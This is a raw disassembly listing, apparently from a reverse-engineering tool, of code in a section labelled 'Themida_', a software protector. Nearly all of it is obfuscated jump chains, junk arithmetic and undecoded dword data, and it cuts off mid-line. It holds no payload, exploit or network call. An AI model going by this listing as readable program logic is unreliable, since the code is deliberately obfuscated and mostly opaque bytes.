Themida_:0054561Dj add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_54CB04 ; --------------------------------------------------------------------------- db 66h, 29h, 0D8h dd 2E920566h, 54D00566h, 6602EC83h, 66243489h, 689DE953h dd 5F540000h, 2777E9h, 3BC58100h, 81FC6AE2h, 0F77985EAh dd 3EA810Ch, 0E92E5D1Fh, 317h, 505568h, 241C8900h, 8B2434FFh dd 78E9242Ch, 68000008h, 2410h, 0E9243C89h, 42BEh, 0B6F38159h dd 81187956h, 283141EBh, 0F8EB8177h, 1058825h, 0C6835BDEh dd 24348704h, 191AE9h, 0D946E900h, 3C8BFFFFh, 4C48124h dd 50000000h, 6F6D68h, 243C8900h, 2434FF58h, 5F2434FFh dd 5104C483h, 0C181E189h, 4, 4C181h, 0C870000h, 275EE924h dd 0E1890000h, 4C181h, 0E9830000h, 48E95104h, 5D000019h dd 4247401h, 11F4E95Eh, 0E9580000h, 17C1h, 0B091B353h dd 5BD82866h, 5866C228h, 148BD188h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx mov edx, 4 add ebp, edx jmp loc_5456F3 ; --------------------------------------------------------------------------- aQissA db 'Q‰áé>',0 dd 5AF02800h, 0F693B753h, 76E1E9D7h, 1C8B0000h, 4C48124h dd 53000000h, 0EE0BEFBBh, 5BDA0158h, 0EA81CA01h, 58EE0BEFh dd 0D89AE959h, 8142FFFFh, 0EE0912F2h, 3EA8156h, 8115ED5Bh dd 4B7E45E2h, 0FEC28159h, 0E90D61E5h, 4618h, 0C7815F54h dd 4, 4AD1BA52h, 0B8502BA6h, 7AA152A4h, 0CF261A35h, 2DD0F716h dd 5B7150E0h, 8DE4E9h db 0 ; --------------------------------------------------------------------------- loc_544ED1: ; CODE XREF: Themida_:00546063j add al, 23h add al, dl push ebx mov bh, 0BEh add bh, 0Dh add bh, 58h sub al, bh pop ebx pop edx sub bl, 0AAh add bl, 0D4h jmp loc_545503 ; --------------------------------------------------------------------------- db 4Dh, 81h, 0C5h dd 53005h, 953EE9h, 80DDF600h, 0F58027C5h, 90C58002h, 2CE9E828h db 3Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_544F0B: ; CODE XREF: Themida_:0054ADA4j pop esp mov [esp], edx mov edx, 4 add edi, edx mov edx, [esp] push esi mov esi, esp jmp loc_54C592 ; --------------------------------------------------------------------------- db 51h, 0E9h, 89h dd 55FFFFFCh, 6B2665BDh, 0F07E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_544F32: ; CODE XREF: Themida_:00547586j and ecx, 6EE42635h not ecx inc ecx jmp loc_548695 ; --------------------------------------------------------------------------- loc_544F40: ; CODE XREF: Themida_:0054B348j ; DATA XREF: ___:off_436CE8o sub ecx, 57AC387Bh xor edx, ecx pop ecx jmp loc_547771 ; --------------------------------------------------------------------------- dw 4BEh dd 81000000h, 531226EBh, 0E774E970h, 0CBDFFFFh, 4D6B833Eh dd 301CE9h, 0E9E78900h, 8DD1h, 4C44C781h, 0E9590C06h, 102Bh dd 4C481h, 862C0000h, 7EBE9h, 241C8900h, 81338BBh, 2EBD5556h dd 0E9534F22h, 3340h, 4868C601h, 89000036h, 22E9242Ch dd 0F6000021h, 0C0C6FED6h, 85E907E6h, 6800008Eh, 3EA2h dd 0FF242C89h, 8B042474h, 0C481242Ch, 4, 8B24048Fh, 0FF662424h dd 0E99C240Ch, 0FFFFD74Ch, 47CBE95Ah, 0DD890000h, 4EC81h dd 2C890000h, 0E6685724h, 89000071h, 20B82404h, 0E93F5E02h dd 0FFFFF1EEh, 0DF11D2BBh, 8BDD013Bh, 0C5E9241Ch, 8100001Ch dd 2C4h, 2EC8100h, 66000000h, 0B6241489h, 0E9372C98h, 0FFFFD706h dd 4C281h, 2AE90000h, 0BF00006Dh, 4, 51E9F901h, 66FFFFFCh dd 0E9240C8Bh, 41C5h ; --------------------------------------------------------------------------- loc_545048: ; CODE XREF: Themida_:00542729j push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], ecx push edx jmp loc_54B0A8 ; --------------------------------------------------------------------------- db 89h dd 4C381E3h, 51000000h, 9410E9h, 0FEE8B300h, 80CBFEC3h dd 0C38033EBh, 0E9DD884Ah, 1FD0h, 24048B66h, 37C368h, 0EAE7E900h dd 8EB8FFFFh, 89D4C9FFh, 0BE5658C7h, 6FDB1613h, 0E95EF701h dd 812Dh, 6A01C281h, 0FFE91800h, 100007Fh, 9D42E9EAh, 0C7810000h dd 3CDD3040h, 4E81E9h, 5FFA2900h, 5C241487h, 83240C89h dd 75E904ECh, 0F6000091h, 37EB80DBh, 0C5BD888h, 2B12E974h dd 565B0000h, 0F125C4BEh, 0A8E6816Bh, 817BB72Bh, 900078EEh dd 0E6814E37h, 126F0D33h, 0B0B9EE81h, 0F001EECAh, 0DA2DE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54510E: ; CODE XREF: Themida_:00548921j movzx eax, al pop small word ptr [edi+eax*4] jmp loc_542FEE ; --------------------------------------------------------------------------- dw 2B9h dd 81000000h, 1C5887EDh, 151CE973h, 0D3010000h, 30BCC381h dd 2DE9380Ch, 68FFFFF0h, 478F8616h, 5FE9525Eh, 4BFFFFE4h dd 0E3C1D3F7h, 10E94302h db 7Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54514F: ; CODE XREF: Themida_:0054589Dj push ecx mov ecx, 78F85903h jmp loc_54D689 ; --------------------------------------------------------------------------- dw 0F6BEh dd 2D69F112h, 49A330B2h, 1EDEE9h, 6E95200h, 8F000047h dd 0E95C2404h, 0FFFFFF0Ch, 4153BE56h, 0E7E94010h, 81FFFFF9h dd 4ECh, 24148900h, 79112E68h, 2434FF1Ch, 8124148Bh, 4C4h dd 48E9E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5451A2: ; CODE XREF: Themida_:005452B4j xor al, cl mov ecx, [esp] add esp, 4 jmp loc_548BB7 ; --------------------------------------------------------------------------- aIS db '\‰,$é²%',0 align 4 dd 0C8BCF89h, 4C48324h, 34FFF921h, 0C4835F24h, 0E88AE904h dd 0FF64FFFFh, 0D552E932h, 29BDFFFFh, 50504165h, 0C789E889h dd 0FB215D58h, 0DAF3815Fh, 8168CC39h, 0C1A5B7EBh, 36843D0h dd 0E9000015h, 0FFFFDA8Bh, 4C481h, 0BA520000h, 3DAB340Ah dd 4B93E9h, 4B106800h, 0C890000h, 16E95024h db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54521B: ; CODE XREF: Themida_:00543FEDj push dword ptr [esp] pop ecx add esp, 4 jmp loc_544B0F ; --------------------------------------------------------------------------- dw 3487h dd 25E95C24h, 0BAFFFFE7h, 4, 4836E9h, 5AD18900h, 5F1533BAh dd 8408E913h, 0CA880000h, 0E9D58859h, 2F3Bh, 3A6D68h, 240C8900h dd 39D2BB53h, 0EBC144BEh, 0EFF38104h, 53196B86h, 0F7242C81h dd 591E211Ah, 5D96E9h, 0EFE95400h, 1FFFFDAh, 47C281FAh dd 0FF0B8747h, 48F6E932h, 4050000h, 87000000h, 15C2404h dd 3C335AD7h, 243C3124h, 5C243C33h, 37B68h, 50FDE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5452AE: ; CODE XREF: Themida_:0054571Ej or cl, 59h add cl, 8Ah jmp loc_5451A2 ; --------------------------------------------------------------------------- db 1, 0E9h, 8Bh dd 0C483242Ch, 4BD5504h, 1000000h, 46E95DE9h, 68000019h dd 4B83h, 54240C89h, 7FED6859h, 2C890000h, 73E8BD24h, 0CD815307h dd 3FD62CB3h, 59D3B951h, 0C1812954h, 3C95D664h, 8159CD21h dd 0C2302FEDh, 5DE90165h, 7B4BE950h, 0C330000h, 240C3124h dd 8B240C33h, 4282424h, 9E99C24h, 5BFFFFD4h, 0E904C483h dd 8FB9h, 240C8B66h, 4ADD68h, 91B3E900h, 0CD890000h, 0A7E9E889h dd 8100005Ah, 4C1h, 240C8700h, 8E8CE9h, 81E38900h dword_545350 dd 4C3h, 920E900h, 48F0000h, 24248B24h, 5839F181h, 0DE68334Ch ; DATA XREF: ___:off_43B044o dd 89000064h, 0BB532414h, 3CCD356Ah, 51F8E9h, 3C895C00h dd 81E78924h, 4C7h, 0B19E900h, 3E680000h, 0E9000030h, 0FFFFE588h dd 2BFh, 5FF80100h, 8B240487h, 8B662424h, 0E953240Ch, 0FFFFDAC1h dd 4EC815Dh, 89000000h, 4BD242Ch, 1000000h, 242C8BE8h dd 8704C483h, 0E95C2404h, 733Eh, 0B8240489h, 4, 4244401h dd 84B5E9h db 0 ; --------------------------------------------------------------------------- loc_5453DD: ; CODE XREF: Themida_:00547F4Dj add ebp, 4 xchg ebp, [esp] jmp loc_54DD66 ; --------------------------------------------------------------------------- dd 7818CF81h, 0C78125F7h, 41AA41D1h, 0A443F781h, 0C781BB02h dd 77BB561Ah, 9FE9DFF7h, 8F00002Ch, 0CBE92404h, 0FF00001Fh dd 0DEE92434h, 0BB000094h, 4, 1151E9h, 30EE8100h, 11D5254h dd 30C681C6h, 0E91D5254h, 7014h, 310EE8C1h, 0EC8196C8h dd 4, 0F7243489h, 34FF2414h, 24348B24h, 5304C483h, 0BF57E389h dd 1D3E106Eh, 19B3F781h, 0EFC1183Eh, 0FDFE902h, 8B660000h dd 0EC81240Ch, 4, 9ADCE9h, 0C2815800h, 3F2BB043h, 0E95AD731h dd 1CBBh, 0D082C181h, 0CB29EF91h, 1C5F0959h, 0D292E95Bh dd 0C683FFFFh, 24343304h, 33243431h, 0CE92434h, 50FFFFE1h dd 0F4805FB4h, 80D4F687h, 0E5881EC4h, 58C53058h, 0EDC0CDFEh dd 0FFED8008h, 8063F580h, 2E99EF5h, 81FFFFE5h, 727AACEBh dd 81C30132h, 727AACC3h, 6BE95232h, 8100006Ah, 0FC07CFF1h dd 59CB2936h, 0FFFFDEE9h, 6EFC0FFh, 0F603E7C0h, 0D7EF80DFh dd 8B5BF828h, 1EE9241Ch db 29h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545503: ; CODE XREF: Themida_:00544EE8j sub bl, 0E3h add bl, al sub esp, 4 mov [esp], edx push ebx mov bl, 22h sub bl, 9Eh shl bl, 8 dec bl shr bl, 8 sub bl, 1Dh mov dl, bl pop ebx sub bl, 80h sub bl, 0DDh add bl, dl add bl, 0DDh add bl, 80h pop edx sub bl, 0D4h push ecx jmp loc_54A81B ; --------------------------------------------------------------------------- dw 0C89h aS58 db '$é58',0 align 2 dw 0E5D1h dd 11D6C581h, 0F5812269h, 0EAC67A7h, 506C581h, 0B8502AC1h dd 34562641h, 40BA5248h, 0E949851Ch, 824Dh, 5C4CBA52h dd 0D63150F7h, 5EF3215Ah, 716668h, 24348900h, 8D3C9ABEh dd 5EF32145h, 9403E951h, 0EC830000h, 240C8904h, 0CD80ACB5h dd 1ED80FEh, 0FFF95CE9h, 3C77FFFFh, 7482E9h, 3F18100h dd 8187664Ch, 165605C2h, 81CA295Fh, 165605EAh, 83FE95Fh dd 0F75F0000h, 0FDBB53D9h, 81138D67h, 51CF4DF3h, 5BD931F0h dd 5B4E9h, 0FC00900h, 0FFD82884h, 2877FFFFh, 3834E9h, 8B055E00h dd 11CDA06h, 60FDE9D8h, 68550000h, 4, 6C0AE95Dh, 0C9BA0000h dd 0F7126249h, 0EAEA81D2h, 81083E60h, 5CAB9CC2h, 5AD7294Ah dd 34FFF801h db 24h, 5Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_544D54 ; --------------------------------------------------------------------------- dw 1E9h dd 68FFFFD1h, 5B38h, 0FFD14CE9h db 0FFh ; --------------------------------------------------------------------------- loc_545631: ; CODE XREF: Themida_:005486CDj add ebx, edx sub ebx, 15626427h jmp loc_54E024 ; --------------------------------------------------------------------------- dw 0C281h dd 56D2BC4h, 7F1AE9h, 0D0295800h, 8324148Bh, 685704C4h dd 1D49h, 51240489h, 0A85ACD68h, 576CE90Dh, 0E1810000h dd 4E762D76h, 0F701C183h, 81D1F7D9h, 0CC4DA5F1h, 49C38176h dd 1512027h, 0A8E955CBh, 0BB000028h, 76CA66DAh, 7704E9h dd 2434FF00h, 3DFE9h, 89FB8900h, 3C8B5BDAh, 4C48124h, 5B000000h dd 9590E9h, 0E9DFF700h, 1ABFh, 5C243C87h, 0E9241489h, 95EDh dd 24048B66h, 172B6852h, 24890000h, 24048324h, 0BD555A04h dd 352C4D73h, 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch dd 63E9242Ch db 3Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5456F3: ; CODE XREF: Themida_:00544E54j pop edx add ebp, 4 xchg ebp, [esp] pop esp shr cl, 3 push cx inc byte ptr [esp] mov cx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 2 xchg ebx, [esp] pop esp not cl inc cl jmp loc_5452AE ; --------------------------------------------------------------------------- db 0C1h dd 0EE8106EEh, 1, 6805E6C1h, 1860h, 0B9240C89h, 0F265684Ah dd 0E959CE01h, 0E15h, 1120685Ah, 1C890000h, 0FA685224h dd 5A6A9566h, 9685557h, 5D35E763h, 0C581DDF7h, 74C380D3h dd 7B3CE9h, 0B8BF5700h, 0E9E09BF7h, 751Fh, 8604C828h, 68599D2Ch dd 64F2h, 50241489h, 0E288ABB4h, 8124048Bh, 4C4h, 0BEEB8000h dd 8090EB80h, 53E938C3h, 21000043h, 8ADBE9D8h, 535F0000h dd 468D85BBh, 0E9DA312Ah, 7370h, 838DE950h, 0ADB30000h dd 0F602E3C0h, 87C380D3h, 0E95BDE88h, 9693h, 2C58159h dd 33000000h, 2C31242Ch, 242C3324h, 6CBCE9h, 9EED8000h dd 20F3F580h, 0C7FE59EFh, 8008EFC0h, 0F828E6F7h, 93B6525Bh dd 0FFF664E9h, 7F83ADFFh, 840F0020h, 7A45h, 436FC681h dd 89E97923h, 0BDFFFFF7h, 4ACE23C7h, 32EBE581h, 0EDC13E9Bh dd 7EDC106h, 0DACCED81h, 0EA81F308h, 1FBA4443h, 4441E9h dd 9AE9AC00h, 55000075h, 35ADE9h, 343C6800h, 0C890000h dd 7CF56824h, 37E90000h, 5A000032h, 0FF5FF829h, 148B2434h dd 847CE924h, 0E0C10000h, 7E8C108h, 12E9D0F7h, 1FFFFDAh dd 0AC581DDh, 5B59FB61h, 19BDE955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54587E: ; CODE XREF: Themida_:0054B457j pop dword ptr [esp] pop esp sub esp, 4 mov [esp], ebx push 473D59C0h pop ebx push ebp mov ebp, 78F85903h add [esp+8], ebp pop ebp sub [esp+4], ebx jmp loc_54514F ; --------------------------------------------------------------------------- dw 0E789h dd 4C781h, 1FE90000h, 5D000078h, 56E9DD87h, 0FF000054h dd 835E2434h, 2C8904ECh, 0D7E95424h, 1FFFFD6h, 6B21E9EAh dd 1C8B0000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54AB38 ; --------------------------------------------------------------------------- aPsE db 'Pé',0Bh,'E',0 dw 0BD00h dd 0FEF9F3C3h, 150BE9h db 0 ; --------------------------------------------------------------------------- loc_5458E9: ; CODE XREF: Themida_:00545B10j pop edx mov esi, [esp] add esp, 4 loc_5458F0: ; CODE XREF: Themida_:005487FDj ; Themida_:0054C36Ej push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop ebx add esp, 4 push ebx mov ebx, esp sub esp, 4 mov [esp], eax mov eax, 4 add ebx, eax pop eax add ebx, 4 jmp loc_545C9F ; --------------------------------------------------------------------------- db 31h, 0D5h, 31h dd 242C8BEAh, 4C481h, 0C2810000h, 1DBC54E8h, 2A5268h, 243C8900h dd 9305ABBFh, 5FFA013Eh, 5150E9h, 91E95300h, 50FFFFECh dd 800BD6B8h, 5B0D4027h, 5512F64Ah, 0D55592BDh, 0D5F74D44h dd 0C581D5F7h, 6E8B5B7Ah, 5371ED81h, 0E829A7E7h, 177DE9h dd 4C48100h, 81000000h, 49487BEFh, 4302E900h, 0C2810000h dd 521A2BAAh, 5DE9C201h, 8B00007Ch, 0E9522404h, 81E7h dd 0F488FE88h, 0C4805B5Ah, 0B8EC80FFh, 0C01AC480h, 0ECC007ECh dd 503E904h, 0E8C10000h, 3EBC2506h, 38250C71h, 0F7211558h dd 6C2D40D8h, 12C23F4h, 783EE9C2h, 2C890000h, 84E6E924h dd 0AE680000h, 89000071h, 0B850240Ch, 532F3876h, 7D72BE56h dd 6DE91D5Ch, 31000053h, 0BD555DE9h, 10495517h, 2889E9h db 0 ; --------------------------------------------------------------------------- loc_5459FD: ; CODE XREF: Themida_:0054BDEFj add edx, ebx pop ebx add edx, 4 xor edx, [esp] jmp loc_54691D ; --------------------------------------------------------------------------- dw 0D701h aZsV db 'Zé`v',0 align 2 dw 0BF57h dd 26C420CDh, 815FF901h, 6760CEC1h, 56D1296Ah, 0EE3F02BEh dd 9DE6811Dh, 0C1143F3Ch, 0EE8104EEh, 2EDD7819h, 8104EEC1h dd 482F7BEEh, 8FC6813Eh, 299B8939h, 0E9815EF1h, 26C420CDh dd 0E92434FFh, 3512h, 685366ACh, 3DF3h, 0B4240489h, 306FB3ECh dd 0D80058E3h, 0E9515B66h, 5882h, 0E6895659h, 4B850h, 0C6010000h dd 8324048Bh, 0ADE904C4h, 0F700006Dh, 6E1C1D1h, 73D8C181h dd 0C18104C2h, 2D36E3F7h, 34FFCA31h, 0C4815924h, 4, 2FB7E9h dd 8BFE8900h, 0C481243Ch, 4, 534EC681h, 0C681277Dh, 77653821h dd 9FDBF681h, 0F501FDAAh, 73E9575Eh, 8700002Dh, 87D7F7FEh dd 5DFA68FEh, 14890000h, 9773BA24h, 0D631E15Fh, 5FADE9h dd 5AD70100h, 31243C33h, 3C33243Ch, 24248B24h, 0F66E9F6h dd 0E957CCB6h, 0FFFFDBACh ; --------------------------------------------------------------------------- loc_545B0C: ; CODE XREF: Themida_:0054337Dj add edx, edi mov [edx], esi jmp loc_5458E9 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd offset byte_5919E9 dd 5BDA8800h, 66D00058h, 53D8285Ah, 516693B7h, 0CF0806B1h dd 0D7F65966h, 272CE950h, 2BBA0000h, 817DE302h, 1912EDCAh dd 8EAC147h, 4E32BF57h, 0FA010A7Fh, 5E2C15Fh, 4255E9h dd 91E38100h, 0E972B92Dh, 22EDh, 885BD988h, 242C59CBh dd 50E9D800h, 5AFFFFD0h, 59C8E9h, 0E9555300h, 0FFFFE67Ah dd 5C240487h, 694E9h, 59CB0100h, 8B241C87h, 0B6E92424h dd 6800000Ah, 41C31003h, 0FFE1CFE9h, 4C281FFh, 87000000h dd 0E95C2414h, 0FFFFCB78h, 0C104E0C1h, 0E95204E8h, 1916h dd 4C48158h, 2D000000h, 44C638FAh, 7F44BA52h, 0C2812671h dd 17059E9Ah, 490FCA81h, 0CA81519Fh, 6EE11674h, 1789B951h dd 0E9490BE8h, 0FFFFD94Fh, 0AB79F105h, 17EE2D62h, 0D8016467h dd 6717EE05h, 79F12D64h, 916862ABh, 89000008h, 0A2E9242Ch dd 59FFFFD4h, 8324148Bh, 0B45004C4h, 58E18822h, 3058C100h dd 2556E9C8h, 0C4810000h, 2, 54D02D66h, 0FFCD58E9h, 4C481FFh dd 56000000h, 4BEh, 0B0EA8100h, 16FA048h, 0B0C281F2h, 5E6FA048h dd 4BF57h, 0FA010000h, 83243C8Bh, 0FF5204C4h, 8B042474h dd 89512414h, 4C181E1h, 81000000h, 4C1h, 5E3BE900h, 0BA520000h dd 4, 535AD301h, 42474FFh, 0CEEBE95Bh, 3166FFFFh, 0E99C2404h dd 0FFFFCA90h, 7DE9D829h db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545C9F: ; CODE XREF: Themida_:00545914j push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx push dword ptr [esp+4] jmp loc_544236 ; --------------------------------------------------------------------------- aPsO db 'Pé×o',0 align 4 dd 4240481h, 0E9000000h, 0FFFFE0B3h, 0C80087B1h, 34FF5966h dd 241C8B24h, 8104C483h, 4C4h, 0C4EB8000h, 80AAEB80h, 0C30089C3h dd 5391E9h, 240C3300h, 33240C31h, 95C240Ch, 6F840FC0h dd 50FFFFE3h, 2EEFE9h, 165EB900h, 0F1811E27h, 5A7816D1h dd 1244C181h, 814962DEh, 837641F1h, 59CB299Fh, 63C9EB81h dd 0EB812E5Bh, 635A7E3Eh, 50A5E9h, 4EAC100h, 725ECA81h dd 0C2813237h, 33DC3DDBh, 0FFD599E9h db 0FFh ; --------------------------------------------------------------------------- loc_545D4D: ; CODE XREF: Themida_:0054BFC7j add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] push edx push esp pop edx push ecx mov ecx, 3D8A42A2h sub ecx, 37872D1Fh or ecx, 5D395A4Fh xor ecx, 5F3B5FCBh jmp loc_543541 ; --------------------------------------------------------------------------- dd 7401F581h, 0EDC1593Ah, 4FCD8105h, 0C159FF00h, 0C58102E5h dd 80002AC8h, 0D217A02Dh, 5E80118h, 18D217A0h, 0E9242C8Bh dd 0FFFFDD1Ch, 0FF24248Bh, 0C0E92434h db 43h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545DB3: ; CODE XREF: Themida_:0054CB63j pop esp jmp loc_54C35B ; --------------------------------------------------------------------------- db 89h, 0F0h, 89h dd 815E58C3h, 9A4FA0E9h, 81D90173h, 9A4FA0C1h, 241C8B73h dd 4C481h, 0C870000h, 52515C24h, 5B8DE951h, 815F0000h dd 664C97C7h, 0F8015A4Dh, 81243C8Bh, 4C4h, 24048700h, 7B6FE9h dd 240C8B00h, 8904EC83h, 0E789243Ch, 4C781h, 0C7810000h dd 4, 5C243C87h, 0FFC90BE9h, 58C529FFh, 0D14ED81h, 875E37ABh dd 0E95C242Ch, 5A81h, 48640566h, 2CA7E9h, 0F5814500h, 68613ECh dd 0C15DE929h, 0C98103E1h, 9BB0DADh, 89C5C181h, 0CF89F608h dd 5FFE3159h, 35E9F201h, 8300005Bh, 348904ECh, 2BE24h dd 0B8500000h, 37AB0D14h, 8158C501h, 29799FC5h, 0FABB5325h dd 290DAF47h, 0C5815BDDh, 0B1C29A6h, 9AE9F501h, 81000077h dd 4C1h, 4E98300h, 2D93E9h, 54E95C00h, 6800000Bh, 387Dh dd 68243489h, 4, 87D3E9h, 0EAC48000h, 0E958E300h, 24B3h dd 2474FF53h, 2434FF04h, 4C4835Bh, 8060E9h, 0E922B400h dd 0FFFFD2EFh, 6A08F281h, 0D0097263h, 6465E95Ah, 52AD0000h dd 6286B850h, 410500D1h, 8945EEA5h, 0F86858C2h, 89000038h dd 0BDBD242Ch, 0E97C0D09h, 3680h, 0BB0F665Ch, 0E99C2404h dd 0FFFFC814h, 5E2414F7h, 0F03E681h, 0F68146EDh, 3F54130Bh dd 382DC681h, 0F501CA9Dh, 81F5015Eh, 764936EDh, 0DBE0E908h dd 0C4B6FFFFh, 67DAE9h, 24048B00h, 0FFDB73E9h, 2C681FFh dd 0E9000000h, 0FFFFEC77h, 4C381h, 0EB830000h, 241C8704h dd 241C895Ch, 81E68956h, 4C6h, 4EE8100h, 0E9000000h, 0FFFFF2B2h dd 240C8B66h, 8B8AE9h, 0C7A2E900h, 34FFFFFFh, 68525824h dd 194Fh, 0FFCDB7E9h, 50F2BAFFh, 424A5A46h, 1914CA81h dd 8BE974F5h, 0C3000065h, 202DE9h, 5DEA0100h, 64E5BB53h dd 0DE97EE1h, 5B000039h, 0CAD3E953h, 74FFFFFFh, 0A0E90424h dd 0B6000028h, 0B5516627h, 76C3803Bh, 0B450EB00h, 2E4C03Dh dd 0F612E480h, 2917E9D4h, 0E9480000h, 0FFFFE4E3h, 50241489h dd 59EDBA52h, 0C28128F5h, 5E272C0Eh, 0B5EA8142h, 8169B53Ah dd 240B0BE2h, 0E7C2814Ah, 0E91E13FDh, 3996h, 51243C89h dd 4EC81h, 34890000h, 82C1E924h, 0FDE90000h, 81FFFFC6h dd 0DD042444h, 8145E45Eh, 0E8042444h, 17B777Bh, 8104247Ch dd 0E804246Ch, 817B777Bh, 0DD04246Ch, 5F45E45Eh, 0DDE95358h db 21h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546057: ; CODE XREF: Themida_:0054E0B3j add dl, 51h sub dl, ch sub dl, 51h pop ecx add dl, 26h jmp loc_544ED1 ; --------------------------------------------------------------------------- dd 4240483h, 4C6815Eh, 55000000h, 32A6E9h, 0D1F74900h dd 7320C181h, 0CB0197AAh, 0E9FB0159h, 1650h, 0CF4BE95Bh dd 0DD01FFFFh, 0B54E95Bh, 0AB00000h, 24E8E9h, 6EDE6800h dd 34890000h, 211ABE24h, 81463B79h, 4ECh, 241C8900h, 11DCB850h dd 519258D7h, 0FFFFFFB9h, 59CA01FFh, 0E9D0F792h, 7761h dd 8904EC83h, 2CBA2414h, 0F739952Bh, 0A0BD55DAh, 81166E01h dd 53503EE5h, 61E7E903h, 0F2810000h, 6421D1Ch, 75AEA81h dd 0EDE941D0h, 0F7000080h, 81F387D6h, 7EFDFBF3h, 348153EBh dd 0BA500924h, 0BD555F14h, 1E4A79EAh, 0E7B6E945h, 3C89FFFFh dd 57DF8924h, 8904EC83h, 65E92414h, 55000026h, 16CFE9h db 0 ; --------------------------------------------------------------------------- loc_546135: ; CODE XREF: Themida_:0054D690j add esp, 4 push dword ptr [esp] pop ebx add esp, 4 sub [esp], eax push ecx mov ecx, 473D59C0h add [esp+4], ecx mov ecx, [esp] add esp, 4 jmp loc_542728 ; --------------------------------------------------------------------------- dw 0F901h dd offset dword_49005C+21E8Dh dd 2D7F6800h, 3C890000h, 38A5E924h, 0D5F70000h, 3F41E581h dd 0F5810D8Bh, 293F20A6h, 4832E9h, 2474FF00h, 24148B04h dd 4C481h, 48F0000h, 0F1F65C24h, 0CCB60F66h, 5F376866h dd 5C70E9h, 0C8B6600h, 0E1895124h, 6F4DB850h, 0E8835DBCh dd 7E0C1FFh, 37A6FC2Dh, 59C181DEh, 81651D1Fh, 0C4248DE9h dd 81C10166h, 0C4248DC1h, 59BD5566h, 29651D1Fh, 50585DE9h dd 2B951h, 0C8890000h, 8BC10159h, 0FBE92404h, 81000040h dd 0AEA2A8EFh, 0E9FD29C3h, 0C71h ; --------------------------------------------------------------------------- loc_5461F8: ; CODE XREF: Themida_:005469F2j inc al jmp loc_5483FE ; --------------------------------------------------------------------------- db 83h dd 148704C2h, 0BF575C24h, 0 dd 0C4E9EF29h, 4FFFFC6h, 68B551DCh, 0FFE022E9h, 64E950FFh dd 1000068h, 0EE815FFEh, 4, 5C243487h, 54240489h, 0FFE0D9E9h dd 242C8BFFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_54E072 ; --------------------------------------------------------------------------- dd 1C181h, 0C1810000h, 0F6055B22h, 8159CD89h, 71042444h dd 11DF405h, 8104246Ch, 7104246Ch, 0FF1DF405h, 575D2434h dd 0C781E789h, 4, 8704C783h, 87E9243Ch, 89000031h, 4C181E1h dd 83000000h, 0E3E904E9h, 5400002Bh, 4BB535Dh, 0E9000000h dd 0FFFFFDEAh, 81E18951h, 4C1h, 0C4BB5300h, 4317FB3Ah dd 184DF381h, 0EBC11C26h, 0F7D3F708h, 1EEB81D3h, 1000BDDh dd 0C875BD9h, 2B2EE924h, 4680000h, 58000000h, 55C3C681h dd 0EE81259Dh, 3765086Dh, 44E9C601h, 66FFFFE0h, 5224048Bh dd 5651E289h, 461249BEh, 0B0EE8115h, 817D301Ah, 0AE2CA7E6h dd 0B7C68140h, 81465C2Fh, 573F1DF6h, 1075E901h, 0F3810000h dd 57B07380h, 176FF381h, 0F381294Ah, 540C3B90h, 355BD821h dd 157484Dh, 0FFC52FE9h, 243C87FFh, 8924248Bh, 0E6892434h dd 50BABD55h, 0E94D305Dh, 495Bh, 517EC4BFh, 7DEEE909h dd 0C1890000h, 8124048Bh, 4C4h, 48B5100h, 4C48124h, 0E9000000h dd 758h, 0D0BD55ADh, 297C302Bh, 0C6015DEEh, 442568h, 242C8900h dd 22D6E9h, 8E6C000h, 7349E9h, 24048F00h, 5890E9h, 1EEE8100h dd 0E9C079B5h, 3EAFh, 2958C329h, 0D4A2E9D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5463B2: ; CODE XREF: Themida_:005439C8j push edi mov edi, 472000F1h or edi, 23745289h xor edi, 19F22ECCh add edx, edi pop edi sub eax, edx mov edx, [esp] push eax mov eax, esp push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ecx mov ecx, 4 add eax, ecx pop ecx push edi mov edi, 4 add eax, edi pop edi xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] shl eax, cl push 2D29h mov [esp], edi jmp loc_54D1A0 ; --------------------------------------------------------------------------- loc_54640E: ; CODE XREF: Themida_:005432B9j pop edi sub esp, 4 mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp jmp loc_54B639 ; --------------------------------------------------------------------------- dw 0D968h dd 5F6F1C30h, 4247C01h, 0FFCAD1E9h, 5BDD88FFh, 0FFCC14E9h dd 58C589FFh, 6CE9h, 3BE78100h, 0F748D66Ch, 81DFF7D7h dd 0BFFFD0C7h, 5FFB01FFh, 0FFD964E9h, 663568FFh, 0E90000h dd 8900003Eh, 85E95EF0h, 28000026h, 45FF68C3h, 14890000h dd 27B624h, 0B60F5AF3h, 8734FFC0h, 0FFC29FE9h, 0D8015DFFh dd 81241C8Bh, 4C4h, 4C08300h, 31240433h, 4332404h, 0EC815C24h dd 4, 50240C89h, 3FB6E9h, 0E9CD2900h, 5ADFh, 78333E2Dh dd 5F82941h, 4178333Eh, 